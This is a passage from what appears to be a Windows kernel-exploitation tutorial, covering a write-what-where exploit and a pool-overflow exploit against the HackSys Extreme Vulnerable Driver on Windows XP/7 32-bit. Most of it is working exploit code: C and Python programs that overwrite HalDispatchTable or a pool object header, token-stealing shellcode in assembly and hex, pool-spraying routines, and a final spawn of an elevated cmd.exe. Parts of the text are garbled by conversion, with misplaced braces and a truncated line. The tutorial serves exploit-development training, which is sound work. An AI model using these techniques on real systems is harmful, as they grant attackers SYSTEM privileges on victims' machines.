typedef struct _WRITE_WHAT_WHERE {<br />

PULONG What;<br />

PULONG Where;<br />

} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;<br />

www.hacking-training.com 22


typedef enum {<br />

SystemBasicInformation,<br />

SystemProcessorInformation,<br />

SystemPerformanceInformation,<br />

SystemTimeOfDayInformation,<br />

SystemPathInformation,<br />

SystemProcessInformation,<br />

SystemCallCountInformation,<br />

SystemDeviceInformation,<br />

SystemProcessorPerformanceInformation,<br />

SystemFlagsInformation,<br />

SystemCallTimeInformation,<br />

SystemModuleInformation<br />

} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;<br />

typedef struct<br />

{<br />

PVOID Reserved1;<br />

PVOID Reserved2;<br />

PVOID Base;<br />

ULONG ImageSize;<br />

ULONG Flags;<br />

WORD Id;<br />

WORD Rank;<br />

WORD w018;<br />

WORD NameOffset;<br />

CHAR ImageName[256];<br />

} SYSTEM_MODULE, *PSYSTEM_MODULE;<br />

typedef struct<br />

{<br />

ULONG ModulesCount;<br />

SYSTEM_MODULE Modules[0];<br />

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;<br />

typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS<br />

SystemInformationClass,<br />

OUT PVOID SystemInformation,<br />

IN ULONG SystemInformationLength,<br />

OUT PULONG ReturnLength);<br />

typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,<br />

www.hacking-training.com 23


OUT PULONG Interval);<br />

int _tmain(int argc, _TCHAR* argv[])<br />

{<br />

DWORD lpBytesReturned;<br />

PVOID pMemoryAddress = NULL;<br />

PULONG lpInBuffer = NULL;<br />

LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";<br />

PWRITE_WHAT_WHERE WriteWhatWhere = NULL;<br />

PVOID HalDispatchTable = NULL;<br />

PVOID HalDispatchTable4 = NULL;<br />

HMODULE ntoskrnl = NULL;<br />

PVOID kernelBase = NULL;<br />

HMODULE ntdll = NULL;<br />

NtQuerySystemInformation_t NtQuerySystemInformation;<br />

NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;<br />

SIZE_T ReturnLength;<br />

PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;<br />

PCHAR KernelImage;<br />

PVOID KernelBaseAddressInKernelMode;<br />

HMODULE hKernelInUserMode = NULL;<br />

PVOID EopPayload = &TokenStealingShellcodeWin;<br />

NtQueryIntervalProfile_t NtQueryIntervalProfile;<br />

ULONG Interval = 0;<br />

printf("Getting device handle\n");<br />

HANDLE hDriver = CreateFile(lpDeviceName,<br />

GENERIC_READ | GENERIC_WRITE,<br />

FILE_SHARE_READ | FILE_SHARE_WRITE,<br />

NULL,<br />

OPEN_EXISTING,<br />

FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,<br />

NULL);<br />

}<br />

if (hDriver == INVALID_HANDLE_VALUE) {<br />

printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />

return 1;<br />

printf("Got the device Handle: 0x%X\r\n", hDriver);<br />

WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(<br />

GetProcessHeap(),<br />

www.hacking-training.com 24


HEAP_ZERO_MEMORY,<br />

sizeof(WRITE_WHAT_WHERE));<br />

//Start<br />

//Step 3<br />

ntdll = GetModuleHandleA("ntdll.dll");<br />

NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdll,<br />

"NtQuerySystemInformation");<br />

NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);<br />

pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),<br />

HEAP_ZERO_MEMORY,<br />

ReturnLength);<br />

NtStatus = NtQuerySystemInformation(SystemModuleInformation,<br />

pSystemModuleInformation,<br />

ReturnLength,<br />

&ReturnLength);<br />

KernelBaseAddressInKernelMode = pSystemModuleInformation->Modules[0].Base;<br />

KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Modules[0].ImageName), '\\') + 1;<br />

//Step 1 and 2<br />

printf("KernelImage: %s", KernelImage);<br />

hKernelInUserMode = LoadLibraryA(KernelImage);<br />

HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");<br />

//Step 4<br />

HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode);<br />

HalDispatchTable = (PVOID)((ULONG)HalDispatchTable +<br />

(ULONG)KernelBaseAddressInKernelMode);<br />

HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);<br />

FreeLibrary(ntdll);<br />

FreeLibrary(hKernelInUserMode);<br />

www.hacking-training.com 25


End<br />

HalDispatchTable4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID));<br />

WriteWhatWhere->What = (PULONG)&EopPayload;<br />

WriteWhatWhere->Where = (PULONG)HalDispatchTable4;<br />

printf("\t\t\t[+] WriteWhatWhere: 0x%p\n", WriteWhatWhere);<br />

printf("\t\t\t[+] WriteWhatWhere->What: 0x%p\n", WriteWhatWhere->What);<br />

printf("\t\t\t[+] WriteWhatWhere->Where: 0x%p\n", WriteWhatWhere->Where);<br />

printf("\t\t[+] EoP Payload: 0x%p\n", EopPayload);<br />

printf("Sending IOCTL request\r\n");<br />

DeviceIoControl(hDriver,<br />

HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,<br />

(LPVOID)WriteWhatWhere,<br />

sizeof(WRITE_WHAT_WHERE),<br />

NULL,<br />

0,<br />

&lpBytesReturned,<br />

NULL);<br />

//Trigger the memory overwrite<br />

ntdll = LoadLibraryA("ntdll.dll");<br />

NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll,<br />

"NtQueryIntervalProfile");<br />

NtQueryIntervalProfile(0x1337, &Interval);<br />

HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);<br />

system("cmd.exe");<br />

printf("IOCTL request completed!\r\n");<br />

}<br />

CloseHandle(hDriver);<br />

return 0;<br />

www.hacking-training.com 26


Step 1 and 2<br />

printf("KernelImage: %s", KernelImage);<br />

hKernelInUserMode = LoadLibraryA(KernelImage);<br />

Here We can see that the kernel image is loaded dynamically, infact in this case is ntkrnlpa.exe, different<br />

from ntoskrnl.exe.<br />

Here the final screenshot:<br />

www.hacking-training.com 27


Windows 7 32bit<br />

For debugging reason I decided to change VM for the Pool Exploitation. The Windbg !pool command is not<br />

supported in the Windows XP and thit restrict the debugging possibilities.<br />

Furthermore this time I’ll use a python exploit in order to simplify the script.<br />

Setting Up Lab<br />

Install Windows 7 32bit and enable the serial port on VMware.<br />

In order to start the debugging You also need to run the following command in a privileged cmd:<br />

bcdedit /debug ON<br />

bcdedit /dbgsettings SERIAL DEBUGPORT:2 BAUDRATE:115200<br />

Changing Token Stealing Payload<br />

Let’s start from the previous shellcode:<br />

VOID TokenStealingShellcodeWin() {<br />

__asm {<br />

pushad ;(1)<br />

mov eax, fs:[KTHREAD_OFFSET] ; (2)<br />

mov eax, [eax + EPROCESS_OFFSET]<br />

mov ecx, eax<br />

mov ebx, [eax + TOKEN_OFFSET]<br />

mov edx, SYSTEM_PID<br />

SearchSystemPID:<br />

mov eax, [eax + FLINK_OFFSET]<br />

sub eax, FLINK_OFFSET<br />

cmp[eax + PID_OFFSET], edx<br />

jne SearchSystemPID<br />

mov edx, [eax + TOKEN_OFFSET]<br />

mov[ecx + TOKEN_OFFSET], edx<br />

popad<br />

xor eax, eax<br />

www.hacking-training.com 28


}<br />

}<br />

add esp, 12<br />

pop ebp<br />

ret 8<br />

this time the offsets are:<br />

KTHREAD_OFFSET (0x124)<br />

EPROCESS_OFFSET (0x050)<br />

TOKEN_OFFSET (0x0f8)<br />

SYSTEM_PID (0x004)<br />

FLINK_OFFSET (0x0b8)<br />

PID_OFFSET (0x0b4)<br />

Let’s compile our shellcode for the python exploit, here the final shellcode:<br />

\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80<br />

\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00<br />

\x00\x89\x91\xf8\x00\x00\x00\x61<br />

Kernel Pool Internals<br />

(From https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf and<br />

https://blogs.msdn.microsoft.com/ntdebugging/2013/06/14/understanding-pool-corruption-part-1-bufferoverflows/<br />

)<br />

“Pool is kernel mode memory used as a storage space for drivers. … Because many pool allocations are<br />

stored in the same page, it is critical that every driver only use the space they have allocated. If DriverA<br />

uses more space than it allocated they will write into the next driver’s space (DriverB) and corrupt DriverB’s<br />

data. “<br />

Every kernel pool requires a management structure that is the pool descriptor; this track the number of<br />

running allocations, pages in use and help the system to keep track of reusable pool chunks.<br />

typedef struct _POOL_DESCRIPTOR<br />

{<br />

/*0x000*/ enum _POOL_TYPE PoolType;<br />

union {<br />

/*0x004*/ struct _KGUARDED_MUTEX PagedLock;<br />

/*0x004*/ ULONG32 NonPagedLock;<br />

};<br />

www.hacking-training.com 29


*0x040*/ LONG32 RunningAllocs;<br />

/*0x044*/ LONG32 RunningDeAllocs;<br />

/*0x048*/ LONG32 TotalBigPages;<br />

/*0x04C*/ LONG32 ThreadsProcessingDeferrals;<br />

/*0x050*/ ULONG32 TotalBytes;<br />

/*0x054*/ UINT8 _PADDING0_[0x2C];<br />

/*0x080*/ ULONG32 PoolIndex;<br />

/*0x084*/ UINT8 _PADDING1_[0x3C];<br />

/*0x0C0*/ LONG32 TotalPages;<br />

/*0x0C4*/ UINT8 _PADDING2_[0x3C];<br />

/*0x100*/ VOID** PendingFrees;<br />

/*0x104*/ LONG32 PendingFreeDepth;<br />

/*0x108*/ UINT8 _PADDING3_[0x38];<br />

/*0x140*/ struct _LIST_ENTRY ListHeads[512];<br />

} POOL_DESCRIPTOR, *PPOOL_DESCRIPTOR;<br />

PendingFrees point to delayed free list, that is a singly-linked list of pool chunks waiting to be freed.<br />

ListHeads (or Free Lists) is an array of doubly-linked lists of free pool chunks of the same size.<br />

All pool chunks are preceded by the pool header.<br />

typedef struct _POOL_HEADER<br />

{<br />

union {<br />

struct {<br />

/*0x000*/ UINT16 PreviousSize : 9;<br />

/*0x000*/ UINT16 PoolIndex : 7;<br />

/*0x002*/ UINT16 BlockSize : 9;<br />

/*0x002*/ UINT16 PoolType : 7;<br />

};<br />

/*0x000*/ ULONG32 Ulong1;<br />

};<br />

union {<br />

/*0x004*/ ULONG32 PoolTag;<br />

struct {<br />

/*0x004*/ UINT16 AllocatorBackTraceIndex;<br />

/*0x006*/ UINT16 PoolTagHash;<br />

};<br />

};<br />

} POOL_HEADER, *PPOOL_HEADER;<br />

PoolIndex provides the index into the associated pool descriptor array.<br />

The kernel uses singly-linked lookaside lists for faster allocation and deallocation of small pool chunks.<br />

Instead the pool descriptor ListHeads maintains chunks less than a page.<br />

www.hacking-training.com 30


Kernel Pool Layout<br />

The OBJECT_HEADER contains and index into ObTypeIndexTable, that is an array of pointers to the<br />

different OBJECT_TYPE structures.<br />

www.hacking-training.com 31


In Windows XP:<br />

In Windows 7:<br />

www.hacking-training.com 32


In this case the offset to the OkayToCloseProcedure is 0x074<br />

“The important part here is the offset to the "OkayToCloseProcedure". If, when the handle to the object is<br />

released and the chunk is freed, this value is not null the kernel will jump to the address and execute<br />

whatever it finds there.”<br />

www.hacking-training.com 33


Pool Feng Shui<br />

The goal here is to place a desired object just behind the vulnerable buffer.<br />

www.hacking-training.com 34


Exploitation<br />

“The fragmented state of the kernel pool make the locality of allocations unpredictable, the attacker must<br />

first defragment the kernel pool using kernel objects or other controllable memory allocations.<br />

The goal in this respect is to allocate all the free chunks such that the pool allocator returns a fresh page.”<br />

So let’s start to reach this goal!<br />

As We can see from the driver source code the Pool size is as follow:<br />

#define POOL_BUFFER_SIZE 504<br />

504 + 8 (pool header) = 0x200<br />

As well explained in https://www.fuzzysecurity.com/tutorials/expDev/20.html<br />

there are some steps to follow:<br />

www.hacking-training.com 35


“We will (1) get the non-paged pool in a predictable state, (2) trigger a controlled pool overflow, (3) take<br />

advantage of pool internals to set a shellcode callback and (4) free the corrupted pool chunk to get code<br />

execution!”<br />

“Our target object has a size of 0x200 so we need to spray something with that size or with an object which<br />

can be multiplied to that size. Fortunately, event objects have a size of 0x40, which multiplied by 8 nicely<br />

comes out at 0x200.”<br />

Summing all the concepts introduced, first We need to defragment the NonPagedPool allocating Event<br />

Object. (1)<br />

Then We need to allocate others Event Object to get predictable allocations (2), next We create<br />

NonPagedPool holes (3), allocate a process null page (4), overwrite the OBJECT_HEADER.Type with the<br />

null page in the vulnerable pool (5) and craft the fake null page with our shellcode pointer! (6)<br />

So when We’ll trigger the overflow the pool will be created in a predictable location in order to overflow<br />

exactly his structure.<br />

So when We free the NonPagedPool the execution pass to the OkayToCloseProcedure with the pointer to<br />

our shellcode! And We reach ring0 code execution!<br />

Here the complete exploit written by @GradiusX: From( https://github.com/GradiusX/HEVD-Python-<br />

Solutions/tree/master/Win7%20x86 )<br />

import ctypes, os, struct, sys<br />

from ctypes import *<br />

from ctypes.wintypes import *<br />

ntdll = windll.ntdll<br />

kernel32 = windll.kernel32<br />

MEM_COMMIT = 0x00001000<br />

MEM_RESERVE = 0x00002000<br />

PAGE_EXECUTE_READWRITE = 0x00000040<br />

def heap_alloc_payload():<br />

token_stealing_shellcode = (<br />

#---[Setup]<br />

"\x60" # pushad<br />

"\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]<br />

"\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]<br />

www.hacking-training.com 36


)<br />

"\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)<br />

"\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]<br />

#---[Copy System PID token]<br />

"\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)<br />

"\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] |<br />

"\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]<br />

"\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx<br />

#---[Recover]<br />

"\x61" # popad<br />

"\xC2\x10\x00" # ret 10<br />

payload_address = id(token_stealing_shellcode) + 20<br />

print "[+] Payload address: 0x%X" % payload_address<br />

return payload_address<br />

event_object_array_1 = []<br />

event_object_array_2 = []<br />

def pool_feng_shui_with_event_objects():<br />

global event_object_array_1<br />

global event_object_array_2<br />

print "[+] Defragmenting heap"<br />

for x in range(10000):<br />

event_object_array_1.append(kernel32.CreateEventA(None, False, False, None))<br />

print "[+] Allocating Event Objects"<br />

for y in range(5000):<br />

event_object_array_2.append(kernel32.CreateEventA(None, False, False, None))<br />

print "[+] Freeing selected Event Objects"<br />

for x in range (0,5000,16):<br />

for y in range (8):<br />

kernel32.CloseHandle(event_object_array_2[ x + y ])<br />

def free_remaining_event_objects():<br />

global event_object_array_1<br />

global event_object_array_2<br />

print "[+] Freeing remaining Event Objects to trigger vuln .."<br />

for x in range(10000):<br />

kernel32.CloseHandle(event_object_array_1[x])<br />

www.hacking-training.com 37


for x in range (8,5000,16):<br />

for y in range (8):<br />

kernel32.CloseHandle(event_object_array_2[ x + y ])<br />

def NtAllocateVirtualMemory_shellcode_ptr():<br />

base_address = c_void_p(0x1)<br />

null_size = c_int(0x1000)<br />

nt_result = ntdll.NtAllocateVirtualMemory(kernel32.GetCurrentProcess(), byref(base_address), 0,<br />

byref(null_size), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)<br />

shellcode_ptr = heap_alloc_payload()<br />

csrc = create_string_buffer("\x00" * 0x70 + struct.pack("


print "[+] Triggering Pool Overflow"<br />

kernel32.DeviceIoControl(driver_handle, 0x22200F, evil_input_ptr, evil_size, None,<br />

0,byref(dwReturn), None)<br />

free_remaining_event_objects()<br />

print "[*] Enjoy Elevated Privs !\r\n"<br />

os.system('cmd.exe')<br />

def preamble():<br />

print "\r\n"<br />

print "HackSys Extreme Vulnerable Driver : Pool Overflow"<br />

print "Author: @GradiusX"<br />

print "References: AWE Kernel Exploitation"<br />

print " http://codemachine.com/article_objectheader.html"<br />

print " http://www.ivanlef0u.tuxfamily.org/?p=79"<br />

print "\r\n"<br />

if __name__ == '__main__':<br />

preamble()<br />

trigger_pool_overflow()<br />

And here the resulting privilege escalation:<br />

www.hacking-training.com 39

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!